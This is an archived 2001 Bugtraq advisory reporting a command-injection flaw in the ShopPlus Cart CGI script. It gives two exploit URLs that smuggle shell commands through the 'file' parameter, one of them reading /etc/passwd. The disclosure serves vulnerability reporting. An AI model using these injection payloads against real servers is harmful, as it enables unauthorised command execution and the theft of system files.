Bugtraq mailing list archives
ShopPlus Cart
From: Kernel|X| <secure () punkass com>
Date: Wed, 5 Sep 2001 12:06:56 -0700 (PDT)
------------[ advisory ]------------ name: ShopPlus Cart Bug Information: The ShopPlus shopping cart system allows you to build a store or a mall on the Internet. Because of its flexibility, it allows you to sell virtually any product or services and fully customize the shopping experience of your web site. http://www.ksofttech.com/help/shopplus/ Problem: Script doesnt check symbols. any user can execute commands on webserver. Exploit: host/scripts/shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;uid| host/scripts/shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/passwd| Bug found by Kernel|X| and aLph4Num3ric E-Mail: secure () punkass com [kernel|x|] alph4num3ric () crackdealer com [aLph4Num3ric] WWW: www.russiahack.com / www.tmgroup.sh ------------ Thank you for using Anonymous mail system! message sent from www.tmgroup.sh
Current thread:
- ShopPlus Cart Kernel|X| (Sep 05)